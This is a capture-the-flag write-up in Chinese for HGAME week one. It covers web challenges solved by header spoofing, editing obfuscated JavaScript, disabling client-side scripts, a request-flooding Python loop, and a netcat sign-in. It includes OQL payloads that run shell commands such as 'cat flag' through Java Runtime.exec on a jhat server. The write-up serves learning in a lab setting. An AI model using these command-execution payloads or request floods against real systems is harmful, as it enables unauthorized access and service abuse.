本文主要是介绍Hgame题解(第一星期),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Hgame题解(第一星期)
Web
ezHTTP
打开靶机首先看到题目提示:请从vidar.club
访问这个页面
根据http协议,需要创建一个Referer字段,其值设置为vidar.club(意思是从该网页跳转到靶机网页的),使用Hackbar工具添加即可。
之后网页又提示:请通过Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
访问此页面
一眼就能看出这是UA头应该有的样子,于是将这个UA头替换成自己浏览器的UA值。
最后一步也是最耗时的一步,题目提示:请从本地访问这个页面
那不就是XFF吗?直接添加该字段提交,但是没用,说明网站没有通过XFF字段判断是否从本地访问的,这一点也可以通过查看网站返回的响应包头看得出来(Hint:Not XFF)。
但是我就只知道一个XFF,没办法只能从Google上搜索,搜索后发现除了XFF字段还有很多字段都可以标识从本地访问,相关链接
经过测试发现X-Real-IP字段有效,添加该字段,题目有提示:Ok, the flag has been given to you
但是网页上直接看不到,猜测可能是藏在网页源码或者响应头里了(毕竟Hint就在那里出现过)
事实上,通过查看响应头发现可疑字段(因为之前查看响应头都没有这个字段)
询问GPT后得知这是一个JSON Web Token (JWT),虽然我也不知道具体是什么,但是根据它的描述这里面是可以包含信息的,它说:Header 和 Payload 通常是经过 Base64 编码的 JSON 字符串。,那么通过Base64解码其Payload部分得到了重要值:
{“F14g”:“hgame{HTTP_!s_1mP0rT4nt}”}
虽然没有明说是flag,但是看起来就像flag,尝试提交通过,发现正确,虽然到这里来讲题目做完了,但是在做题过程中还学到了关于使用BP的新知识。
当我尝试寻找能够替换XFF的字段时最先使用的是BurpSuite工具,但是一直没有做出来,卡在需要本地访问那个页面,但是同样的字段使用Hackbar提交就能拿到flag,我以为是BP的问题,后来经过询问学长和自己的比对尝试发现BP对于构造请求头有行数要求:
当左边的行数小与13行时(此时是12行),那么发送请求包将失败,并且BP会将Send按钮从红色变成白色,点击不了,当行数大于等于13行时才能正常发送正常返回正确网页(即便多余行数是空白行)。
另外如果在X-Real-IP:127.0.0.1
行前加上空白行那么效果等同于没有添加这个字段,返回的还是从本地访问页面
2048*16
打开靶机是一个2048网页小游戏:
最开始我的思路是查看网页源码,flag可能会藏在源码里,由于对Web代码的陌生,导致我在这一步花费了很长时间也没有找到关键信息,后来又是在学长的提示下将目标锁定在了网页里唯一的一个js文件,初步猜测是一个实现游戏功能的脚本文件,但是直观上看得不到任何信息,因为这个文件经过混淆加密了的,好在网页下方有提供该游戏原版网页,访问这个网页发现和靶机网页一模一样。
在原版网页中我找到了没有混淆过的游戏源码,被保存在index.js文件中:
通过比对该文件和靶机网页js代码,找到实现判断输赢的关键代码,在原版网页中判断输赢的代码是通过定义this.won = !1,
实现的,将其修改成1即可在游戏一开始就判断赢然后输出flag,找到这行代码在靶机js代码中的具体位置
通过两个文件代码的一一比对以及关键字,找到了this.won = !1
的对应位置this[x(460)] = 1,
(这里我修改过的,所以是1而不是!1,为了解答题目就需要设置成1)
接下来就是让修改过的js代码生效,首先就是在自己桌面上创建和网站上一摸一样的目录结构(top/47.102.130.35:31865/assets/),在assests下再创建index-_wkhdPNY.js,将修改过的完整js代码一起复制进去,由于windows上不允许创建文件夹名包含:,因此需要用%3A来替换:,效果一样。
然后在替换页面导入该目录,启用调试,刷新页面,等待页面刷新即可出现flag。
这道题首先学会了分析js源代码和混淆代码,将关键字进行替换,然后是知道了如何将修改的js代码替换到网页上进行实现。
Bypass it
这是我第一次被题目描述给误导了,题目提示:This page requires javascript to be enabled 😃
然后我就在想是不是题目给我们指明禁用js这条路不通,让我们往其他方向试试,比如sql注入之类的,但是其实还是得用禁用js来解题,题目描述本身没问题,指明了关键词js,但是偏偏信了,而且还没去试试禁用js可不可以,我还一度认为这题算比较难的。
正式解题,打开靶机是一个登录页面,下方有一个注册按钮,由于这题和js有关,那么大概率就是注册页面的js代码可以被禁用,打开注册页面弹出不允许注册,直接禁用js,发现可以正常注册了。那么随便注册一个账号然后返回登陆页面进行登录(使用刚刚注册的账号)
登陆成功,进入了个人中心,点击Click here,得到flag
Select Courses
这是一个选课平台,要求我们帮忙选到课程人数已满的课程(刚开始我也不知道为什么已满还能选上),由于网站会携带选课的课程id给服务器,服务器判断后返回是否选上的数据包,所以我的思路是修改这个数据包,刚好包里有一个值是"full":1
,但是修改了没啥用
看了题解才知道需要设置脚本一直跑,让脚本连续发请求进行选课,以下是Python脚本代码:
import requests
import timeurl = "http://106.14.57.14:32498//api/courses"
data = {"id": 0}while True:for i in range(1, 6):data["id"] = iresponse = requests.post(url, json=data)print(f"Response for id={i}: {response.text}")
需要注意的是url的构造和json的内容
然后让脚本一直跑,基本上就能把所有课程跑完,可能后面有一两个课程要花一点时间才能跑出来,不过都是可以通过这种方式选出来的,最后得到flag
jhat(详细解题思路)
首先是题目提示:jhat is a tool used for analyzing Java heap dump files
不知道什么是jhat,询问ChatGPT,这篇文章比较清楚的介绍了相关概念
初步了解之后我自己的理解是,OQL是一种利用Java对象的数据库,类似SQL可以进行注入,还拥有类似SSTI的代码执行功能,而jhat能以web网页的形式显示Java程序堆信息,里面自带OQL查询功能,然后类似SQL或者SSTI这种方式进行攻击
打开题目页面,下载附件,是dockerfile(里面有关于容器的搭建信息,可以作为参考)
这里点击Execute Object Query Language (OQL) query
可以访问查询页面
这个页面就是进行操作的了
这里我不懂Java对象的关系和使用,因此我直接将能得到flag的执行语句粘贴在下面:
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat flag").getInputStream(),"gbk")).readLine()
其实感觉和SSTI大同小异,但是利用的是Java语言而不是Flask模板,可以从执行语句中明显的看到cat flag
来获取flag,当然还有其他的语句可以获取flag,如:
var process = java.lang.Runtime.getRuntime().exec("cat /flag");
var inputStream = process.getInputStream();
var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
var result = scanner.hasNext() ? scanner.next() : "";
result;
关于该题的另一个题解:点击这里
PWN
EzSignIn
打开靶机发现提示:nc 47.102.130.35:31523
直接打开Kali虚拟机nc连接即可获得flag,注意kali中nc格式是:nc 47.102.130.35 31523
(ip和端口之间是空格)
这篇关于Hgame题解(第一星期)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!